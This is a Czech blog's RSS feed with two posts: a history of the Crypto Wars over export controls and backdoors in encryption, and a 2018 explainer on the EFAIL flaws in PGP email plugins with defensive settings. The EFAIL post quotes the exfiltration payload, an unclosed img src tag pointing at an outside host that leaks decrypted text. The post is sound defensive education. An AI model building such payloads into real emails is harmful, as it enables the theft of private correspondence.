<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pgp Archives - DIGITÁLNÍ SEBEOBRANA</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/tag/pgp/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/tag/pgp/</link>
	<description></description>
	<lastBuildDate>Thu, 02 Jul 2026 11:42:13 +0000</lastBuildDate>
	<language>cs</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>pgp Archives - DIGITÁLNÍ SEBEOBRANA</title>
	<link>https://www.digitalnisebeobrana.cz/tag/pgp/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Crypto Wars &#8211; může vláda zakázat matematiku?</title>
		<link>https://www.digitalnisebeobrana.cz/cryptowars-muze-vlada-zakazat-matematiku/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 16 Jun 2026 08:48:43 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[historie]]></category>
		<category><![CDATA[Crypto Wars]]></category>
		<category><![CDATA[cryptoanarchy]]></category>
		<category><![CDATA[cypherpunks]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[pgp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=3112</guid>

					<description><![CDATA[<p>Když se stát pokusil regulovat šifrování jako zbraň.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/cryptowars-muze-vlada-zakazat-matematiku/">Crypto Wars &#8211; může vláda zakázat matematiku?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Předehra</h2>
<p>V roce 1977 americký NBS, dnešní NIST, standardizoval DES jako federální standard pro ochranu dat v nevojenských federálních počítačových systémech. Později se DES rozšířil i do soukromého sektoru. Standard popisoval 56bitovou proměnnou část klíče, která byla i na tehdejší poměry kratší (slabší) než by bylo ideální pro bezpečnost.<br />
A protože výběru standardu se tehdy účastnila i NSA, nebylo úplně od věci podezření, že takto krátký klíč je vybrán záměrně, aby měly vládní agentury možnost šifru prolomit a dostat se k datům občanů a firem.<br />
Diffie a Hellman už v roce 1977 tvrdili, že speciální stroj za cca 20 milionů dolarů by DES klíč našel zhruba za den &#8211; tedy něco, co by pro agenturu typu NSA bylo realistické. Pro srovnání &#8211; dnes by prolomení šifry s grafickou kartou RTX 3070 trvalo přibližně 100 dní.</p>
<p>Tady se poprvé silně objevuje otázka: má být civilní šifrování dost silné i proti státu, nebo jen proti běžným útočníkům?</p>
<p>Na říjen 1977 IEEE pořádala na Cornell University konference <strong>International Symposium on Information Theory</strong>, kde měli vystupovat Martin Hellman, Stephen Pohlig, Ralph Merkle a další s pracemi o moderní kryptografii. Právník Joseph Meyer posílá IEEE dopis naznačující, že publikace kryptografických prací může narážet na exportní zákony, konkrétně ITAR &#8211; pravidla pro kontrolu vývozu vojenských a obranných technologií, služeb a technických dat. Prostě zákaz vývozu zbraní. Později se ukázalo, že Meyer pracuje pro NSA.<br />
IEEE konferenci nezruší &#8211; akademická kryptografie se odmítla vrátit do režimu tichého předběžného schvalování státem.<br />
Byl to raný pokus vyvolat strach v akademické komunitě. Nešlo sice ještě o soud, ale byl to signál: <strong>stát může považovat kryptografický výzkum za kontrolovanou technologii</strong>.</p>
<h2><del datetime="2026-06-16T05:23:44+00:00">Vesmírná</del> Prezidentská direktiva NSDD-145</h2>
<p>V polovině 80. let přišlo Reaganově administrativě jako dobrý nápad centralizovat bezpečnost citlivých federálních informačních systémů pod režim, ve kterém měla hlavní slovo NSA (direktiva NSDD-145). Což znamenalo, že i oblast civilní počítačové bezpečnosti by se dostala pod výrazně větší vliv zpravodajců. Mimochodem, toto se příznačně děje v roce 1984.<br />
To ale vyvolalo odpor Kongresu, civilních institucí i části soukromého sektoru, protože NSA je vojenská/zpravodajská agentura, ne civilní standardizační orgán.</p>
<p>V roce 1987 byl schválen Computer Security Act, který nařízení přibrzdil. Tento zákon dal hlavní odpovědnost za bezpečnost neutajovaných federálních počítačových systémů civilnímu NBS/NIST. NSA měla pomáhat technicky, ne být hlavní civilní autoritou.</p>
<h2>Šifrování do rukou lidem nepatří?</h2>
<p>&nbsp;</p>
<h2>A kdyby sme tam dali &#8222;zadní vrátka?&#8220;</h2>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky.png"><img fetchpriority="high" decoding="async" class="alignleft size-medium wp-image-3132" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-300x169.png" alt="" width="300" height="169" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-300x169.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1024x576.png 1024w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-768x432.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1536x864.png 1536w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-500x281.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-800x450.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1280x720.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky.png 1672w" sizes="(max-width: 300px) 100vw, 300px" /></a>16. dubna 1993 Bílý dům oznamuje Clipper Chip. Šlo o vládou podporovaný šifrovací čip pro zabezpečenou komunikaci, ale s key escrow mechanismem, tedy s možností vládního přístupu ke klíčům při zákonné autorizaci. To je ikonický symbol Crypto Wars: vláda už tuší, že úplně zakázat šifrování je složité, ale přecijen &#8211; když už mají lidé šifrovat, ať je v tom vestavěný přístup pro stát. Clipper měl tedy šifrovat, ale zároveň ke každé komunikaci přidávat speciální balíček pro policii. Ten balíček se jmenoval LEAF. LEAF měl obsahovat informaci, podle které by vláda po získání povolení mohla obnovit šifrovací klíč a komunikaci přečíst.<br />
Hned příští rok Matt Blaze &#8222;donutil&#8220; Clipper poslat vadný LEAF. Výsledek? Dva uživatelé spolu mohli normálně šifrovaně komunikovat, jejich zařízení komunikaci přijala, ale policie by z LEAF nedokázala získat správný klíč.<br />
Clipper tím přestal dávat smysl jako nástroj pro kontrolované odposlechy.<br />
Tady se ukázalo, že „bezpečný vládní zadní vchod“ není jen právní otázka, ale i křehký technický mechanismus.</p>
<blockquote><p>Vkládat &#8222;zadní vrátka&#8220; do šifrování je prostě špatný nápad (který se ale s železnou pravidelností vrací) &#8211; buď mohou selhat, nebo se k nim časem dostane i ten, pro koho nejsou určena.</p></blockquote>
<h2>První výstřely</h2>
<p>Phil Zimmermann v roce 1991 zveřejňuje PGP &#8211; způsob šifrovaní, který může použít běný uživatel pro svoje zprávy a soubory. Takové šifrování, které nebylo realistické prolomit běžnými prostředky. Zimmermann dal veřejnosti volně k dispozici něco, co bylo do té doby přístupné pouze vládním agenturám a akademikům.<br />
Ale nezapomeňme, že stále platí ITAR &#8211; zákaz vývozu zbraní mimo USA. A kryptografie je podle úřadů zbraň. Takže Phil Zimmermann je v roce 1993 předvolán k výslechu, protože je podezřelý z toho, že vyváží vyváží zbraně. Vyšetřování se táhlo až do roku 1996, kdy bylo ukončeno bez obžaloby.</p>
<p>A v roce  1997byl zdrojový kód PGP vytištěn jako kniha (přesněji 12 knih) a poslán do Evropy, kde byla kniha převedena zpět do elektronické podoby. To bylo legální. Jak to?<br />
Mezitím se totiž děly věci&#8230;</p>
<h3>Tohle triko je zbraň!<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2.jpg"><img decoding="async" class="alignright size-thumbnail wp-image-3122" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-225x225.jpg 225w" sizes="(max-width: 150px) 100vw, 150px" /></a></h3>
<p>Jestli něco umějí cypherpunks a kryptoanarchisté dobře (kromě šífrování, ochrany bezpečnosti a soukromí a dalších nepodstatných věcí) tak je to trolení úřadů. Šifrování je zbraň? Hodl my beer.<br />
Adam Back vytvořil v roce 1995 minimalistickou implementaci RSA v jazyce Perl. Ta byla tak krátká, že se dala na něco vytisknout. Třeba na tričko.<br />
A to taky Adam Back spolu s komunitou kolem Cypherpunk Mailing List udělali. Na tričko vytiskli varování</p>
<blockquote><p><strong>This shirt is classified as a munition and may not be exported from the United States, or shown to a foreign national</strong><br />
<em>(Toto triko je považováno za munici a nesmí být vyvezeno z USA, ani ukázáno žádnému cizinci)</em></p></blockquote>
<p>a samozřejmě onen kód v jazyce Perl, včetně čárového kódu k jeho naskenování.</p>
<h3>Disketu? Ne, raději knihu</h3>
<p>Phil Karn se v roce 1994 zeptal úřadů, jestli může vytisknout knihu Applied Cryptography a jestli může zdrojové kódy z knihy nahrát na disketu. Kniha nebyla považována za kontrolovanou podle ITAR, takže vytisknout ji bylo legální. Disketa? Ta exportní kontrole podléhá, protože je to strojově čitelný kryptografický software. Bez licence ji tedy nesmíš legálně vyvézt/poslat mimo USA.<br />
Je to jeden z nejlepších příkladů absurdity exportních pravidel: stejný kód na papíře byl řeč/publikace, ale na disketě už obranný artikl. I když v knize toho bylo dokonce mnohem víc.</p>
<p>Karn s tím nebyl úplně OK, a tak vládu zažaloval. V roce 1996 ale u okresního soudu neuspěl. Absurdní rozdíl mezi knihou a disketou nezmizel díky jeho soudní výhře, ale až později s uvolněním exportních pravidel.</p>
<p>I další se s vládou soudili &#8211; Daniel J. Bernstein chce publikovat algoritmus Snuffle, zdrojový kód a související akademický text. Tvrdí, že exportní pravidla mu brání učit, publikovat a diskutovat kryptografii. Soud vyhrál v roce 1996 a ustál i odvolání v roce 1999.</p>
<p>A právě tyto případy umožnily legální export PGP mimo USA: <strong>V elektronické podobě je PGP zbraň. Ale vytištěný na papíře je to svobodný projev chráněný Prvním dodatkem ústavy Spojených Států.</strong></p>
<p>Mimochodem, Zimmermannova firma PGP Inc. vydala v roce 1997 papírový newsletter &#8222;The Zimmermann Telegram&#8220;, aby šířila kryptografické informace poštou, protože papír měl větší ochranu než elektronický software. Název navíc odkazuje na tzv. Zimmermannův telegram z 1. světové války. Byl to tajný německý diplomatický vzkaz z roku 1917.<br />
Německo v něm nabízelo Mexiku spojenectví proti USA, pokud by USA vstoupily do války. Britové telegram zachytili a rozšifrovali.</p>
<h2>Konec?</h2>
<p>Situace byla pro úřady neudržitelná. Internet se dostal do domácností a &#8222;vývoz&#8220; software byl v podstatě neregulovatelný.</p>
<p>16. září 1999 oznamuje Clintonova administrativa zásadní liberalizaci exportu. Po technickém přezkumu má být možné exportovat produkty s libovolnou délkou klíče většině jednotlivců, firem a nevládních uživatelů mimo sankcionované/rizikové země. To je faktický začátek konce první fáze Crypto Wars v jejich &#8222;exportní&#8220; podobě.<br />
14. ledna 2000 pak začínají platit nová pravidla Commerce Department. Federal Register publikuje změny, které výrazně uvolňují export a reexport šifrovacího softwaru. U veřejného zdrojového kódu stačí oznámení a pravidla výslovně řeší zveřejnění na internetu. To je už praktický zlom: silná kryptografie se může stát normální součástí internetu, prohlížečů, e-mailu a komerčního softwaru.</p>
<h2>Následky</h2>
<p>Zdálo by se, že celé Crypto Wars byla jen epizoda s několika soudními spory a několika happeningy. Ale měly i vážnější následky &#8211; například první více veřejně rozšířený internetový prohlížeč Netscape Navigator měl silnější americkou verzi, mezinárodní verze musela používat slabší šifrování, typicky 40bitové.<br />
Exportní Lotus Notes měl 64bitové šifrování, ale 24 bitů klíče bylo zašifrováno pro NSA. Výsledkem bylo, že běžný útočník měl práci jako s 64 bity, ale NSA efektivně řešila jen 40 bitů. IBM/Lotus dostal povolení exportovat silnější produkt výměnou za to, že to vytvořilo privilegovaného útočníka.<br />
Debian musel historicky držet kryptografické balíčky na serveru mimo USA, protože export kryptografického kódu z USA byl problém.<br />
SSL podpora pro Apache se dlouho řešila mimo hlavní Apache a mimo USA, protože export mod_ssl/OpenSSL z USA byl právně problematický.<br />
Java měla dlouho omezenou kryptografickou politiku a „unlimited strength“ se muselo doinstalovat zvlášť. Oracle zapnul unlimited crypto defaultně až v JDK 8u161, tedy v roce 2018.<br />
Kvůli exportním limitům vznikly speciální „step-up“ SSL certifikáty, které dovolily některým webům zvednout slabé 40/56bitové šifrování na 128 bitů.</p>
<p>A následky byly i dlouhodobé &#8211; slabé exportní režimy v TLS/SSL přežily v implementacích a o mnoho let později vedly k reálným útokům. FREAK zneužíval export RSA, Logjam export Diffie-Hellman a DROWN slabiny SSLv2/exportní crypto. <strong>Technický dluh přežil politiku o 15-20 let.</strong></p>
<h2>Čtyři jezdci infokalypsy</h2>
<p>Timothy C. May tomu říkal „čtyři jezdci infokalypsy“: teroristé, pedofilové, drogoví dealeři a finanční zločinci. Nešlo mu o to, že tyto hrozby neexistují, ale o to, že se pořád dokola používají jako univerzální argument pro omezení šifrování, anonymity a soukromí.</p>
<p>Dnešní americká pravidla už většinou neblokují export silné kryptografie jako v 90. letech, ale stopa Crypto Wars nezmizela úplně: u některého veřejného kryptografického kódu se stále pracuje s oznamovací povinností a komerční produkty s kryptografií mohou pořád spadat do exportní klasifikace.</p>
<p>Ale není to jen záležitost USA.</p>
<p>Politici totiž rádi opakují hlavně chyby svých předchůdců s tím, že</p>
<h3>&#8222;Tentokrát to bude jiné, slibuju&#8220;</h3>
<p>První Crypto Wars neskončily tím, že by se státy smířily se silným šifrováním. Jen se změnil jazyk. Po roce 2000 už politici většinou nemluvili o zákazu kryptografie nebo exportu „munice“, ale o „lawful access“, „technical capability“, „traceability“ nebo „client-side scanning“. V praxi šlo často o totéž: vytvořit cestu, jak se stát může dostat k obsahu komunikace, i když ji uživatelé považují za soukromou a chráněnou end-to-end šifrováním. Vidět to bylo v americkém sporu FBI s Applem po útoku v San Bernardinu, v britských tajných technických příkazech podle Investigatory Powers Act, v australském Assistance and Access Act, v indickém požadavku na dohledání původce zprávy, v ruském tlaku na Telegram nebo v evropské debatě o Chat Controlu. Argumenty?<br />
Terorismus, organizovaný zločin, ochrana dětí, národní bezpečnost.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/cryptowars-muze-vlada-zakazat-matematiku/">Crypto Wars &#8211; může vláda zakázat matematiku?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Přestalo být šifrování emailů pomocí PGP/GPG bezpečné?</title>
		<link>https://www.digitalnisebeobrana.cz/blog/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sun, 20 May 2018 16:30:18 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[efail]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[pgp]]></category>
		<category><![CDATA[šifrování]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=151</guid>

					<description><![CDATA[<p>Tl;dr? Nepřestalo! V úterý, 15. 5. 2018 byl na webu https://efail.de zveřejněn podrobný popis zranitelností v implementacích PGP/GPG v rozšířeních emailových klientů. Jedná se o zneužití způsobu, jakým daná rozšíření pracují se zprávami. To je důležitá zpráva. Způsob šifrování jako takový prolomen nebyl, tudíž lze i nadále považovat PGP/GPG za bezpečné! První doporučení, ještě před &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/blog/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Pokračovat ve čtení <span class="screen-reader-text">Přestalo být šifrování emailů pomocí PGP/GPG bezpečné?</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/blog/">Přestalo být šifrování emailů pomocí PGP/GPG bezpečné?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<section class="section section--body">
<div class="section-divider"></div>
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<h3 class="graf graf--h3">Tl;dr? Nepřestalo!</h3>
<figure class="graf graf--figure"><img decoding="async" class="graf-image" src="https://cdn-images-1.medium.com/max/800/0*wmK6hujxOQr-vTUO." data-image-id="0*wmK6hujxOQr-vTUO." data-width="3586" data-height="4483" /><figcaption class="imageCaption"></figcaption></figure>
<p class="graf graf--p">V úterý, 15. 5. 2018 byl na webu <a class="markup--anchor markup--p-anchor" href="https://efail.de" target="_blank" rel="noopener" data-href="https://efail.de">https://efail.de</a> zveřejněn podrobný popis zranitelností v implementacích PGP/GPG v rozšířeních emailových klientů. Jedná se o zneužití způsobu, jakým daná rozšíření pracují se zprávami.<br />
To je důležitá zpráva. <strong class="markup--strong markup--p-strong">Způsob šifrování jako takový prolomen nebyl, tudíž lze i nadále považovat PGP/GPG za bezpečné!</strong></p>
</div>
</div>
</section>
<p><span id="more-151"></span></p>
<section class="section section--body">
<div class="section-divider">
<hr class="section-divider" />
</div>
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p class="graf graf--p">První doporučení, ještě před zveřejněním podrobností o zranitelnosti bylo, aby uživatelé odinstalovali nebo alespoň deaktivovali rozšíření pro šifrování v emailových klientech — Enigmail, GPGTools a Gpg4win. Na sociálních sítích se rozjela lavina příspěvků o tom, jak je PGP/GPG nebezpečné a uživatelé by měli přejít na jiné způsoby komunikace. Nejčastěji byl zmiňován <a class="markup--anchor markup--p-anchor" href="https://signal.org/" target="_blank" rel="noopener" data-href="https://signal.org/"><strong class="markup--strong markup--p-strong">Signal</strong></a><strong class="markup--strong markup--p-strong"> messenger</strong>. Což o to, Signal je opravdu považován za jeden z nejbezpečnějších způsobů komunikace po Internetu (pouze při použití mobilních aplikací, v desktopových verzích byly nedávno nalezeny <a class="markup--anchor markup--p-anchor" href="https://thehackernews.com/2018/05/signal-desktop-hacking.html" target="_blank" rel="noopener" data-href="https://thehackernews.com/2018/05/signal-desktop-hacking.html">zranitelnosti</a>), ale email jím lze těžko nahradit. Signal je aplikace pro posílání krátkých zpráv, je to bezpečná alternativa k sms nebo Facebook Messengeru. Ale nahradit jím plně email dost dobře nejde.</p>
<p class="graf graf--p">Zároveň se ukázalo, že při dodržování jistých pravidel lze i nadále bezpečně komunikovat s použitím zmíněných pluginů (pokud připustíme možnost, že něco jako bezpečná komunikace na Internetu existuje). O těchto pravidlech více na konci článku.</p>
</div>
</div>
</section>
<section class="section section--body">
<div class="section-divider">
<hr class="section-divider" />
</div>
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<h3 class="graf graf--h3">Útoky</h3>
<p class="graf graf--p">Zveřejněné dokumenty popisují dva druhy útoků, ve zkratce a zjednodušeně se dají popsat takto:</p>
<p>1. “Direct exfiltration”, který využívá způsobu, jakým emailový klient zpracovává zprávy v HTML formátu a jak je zobrazuje uživateli.<br />
Pokud útočník získá zašifrovanou zprávu, která ho zajímá, pošle oběti email, který obsahuje i onu dříve zašifrovanou zprávu. Emailový klient uživateli automaticky zobrazí email celý, včetně jeho vlastní, původně zašifrované zprávy. Začátek emailu pak obsahuje kód (neukončený HTML tag <code> img src="”http://efail.de/"</code> )</p>
<figure class="graf graf--figure"><img decoding="async" class="graf-image" src="https://cdn-images-1.medium.com/max/800/1*aawsGXyllvFIe0Pugh_XiA.png" data-image-id="1*aawsGXyllvFIe0Pugh_XiA.png" data-width="628" data-height="426" /></figure>
<p class="graf graf--p">2. Druhý útok (The CBC/CFB Gadget Attack) umožňuje změnit zašifrovanou zprávu. Útočník ji tak sice není schopen přečíst, ale je schopen jí změnit a poslat adresátovi vlastní verzi emailu. Standard OpenPGP explicitně nevyžaduje kontrolu integrity zprávy (kontrola toho, zda nebyla zpráva “po cestě” změněna) a navíc i když je zpráva odeslána s touto pojistkou, existují způsoby, jak ji odstranit a někteří emailový klienti sice uživatele upozorní, že testem na integritu zpráva neprošla (a tudíž byla změněna), ale zprávu přesto zobrazí. Pak se opakuje scénář prvního útoku — zobrazená zpráva je zaslána na server útočníka.</p>
</div>
</div>
</section>
<section class="section section--body">
<div class="section-divider">
<hr class="section-divider" />
</div>
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<h3 class="graf graf--h3">Jak ochránit svoji komunikaci?</h3>
<ol class="postList">
<li class="graf graf--li">Zakázat zobrazení vzdáleného obsahu (např. v Thunderbirdu je to přednastaveno). Emailový klient tak nebude zasílat požadavek na útočníkův server.</li>
<li class="graf graf--li">Vypnout zobrazování a vytváření zpráv v HTML formátu. Zpráva se pak bude zobrazovat jako obyčejný text a nebudou se zpracovávat jakékoliv kódy.</li>
</ol>
<figure class="graf graf--figure">
<p><figure style="width: 491px" class="wp-caption aligncenter"><img decoding="async" class="graf-image" src="https://cdn-images-1.medium.com/max/800/1*K8XGmUt62-QlYin6oIBoxQ.png" alt="" width="491" height="492" data-image-id="1*K8XGmUt62-QlYin6oIBoxQ.png" data-width="491" data-height="492" /><figcaption class="wp-caption-text">Nastavení zobrazení v Thunderbirdu</figcaption></figure></figure>
<p class="graf graf--p">Další možností je používat defaultně šifrovaný <a class="markup--anchor markup--p-anchor" href="https://protonmail.com/" target="_blank" rel="noopener" data-href="https://protonmail.com/">ProtonMail</a>. Ten používá PGP jako základ a není objevenými zranitelnostmi zasažen.</p>
<p class="graf graf--p">A zkušenější uživatelé mohou použít pro (de)šifrování zpráv shell/příkazovou řádku. Návod např. zde: <a class="markup--anchor markup--p-anchor" href="https://www.eff.org/deeplinks/2018/05/using-command-line-decrypt-message-linux" target="_blank" rel="noopener" data-href="https://www.eff.org/deeplinks/2018/05/using-command-line-decrypt-message-linux">Linux</a>, <a class="markup--anchor markup--p-anchor" href="https://www.eff.org/deeplinks/2018/05/using-command-line-decrypt-message-macos" target="_blank" rel="noopener" data-href="https://www.eff.org/deeplinks/2018/05/using-command-line-decrypt-message-macos">MacOS</a>, <a class="markup--anchor markup--p-anchor" href="https://www.eff.org/deeplinks/2018/05/using-command-line-decrypt-message-windows" target="_blank" rel="noopener" data-href="https://www.eff.org/deeplinks/2018/05/using-command-line-decrypt-message-windows">Windows</a>.</p>
</div>
</div>
</section>
<section class="section section--body">
<div class="section-divider">
<hr class="section-divider" />
</div>
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p class="graf graf--p">Závěrem je potřeba dodat, že způsob, jakým byly ony zranitelnosti komunikovány veřejnosti, byl poněkud nešťastný (dal by se označit spíše jako bulvární). První zprávy navozovaly dojem, že PGP/GPG bylo prolomeno a mělo by se přestat okamžitě používat. PGP je tu s námi přibližně 20 let a zatím se nikomu nepodařilo jeho bezpečnost narušit. Stát se to samozřejmě může, ale v žádném případě se to nestalo nyní.</p>
<p class="graf graf--p">Není tedy důvod k panice, šifrujme <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
</div>
</div>
</section>
<p>The post <a href="https://www.digitalnisebeobrana.cz/blog/">Přestalo být šifrování emailů pomocí PGP/GPG bezpečné?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
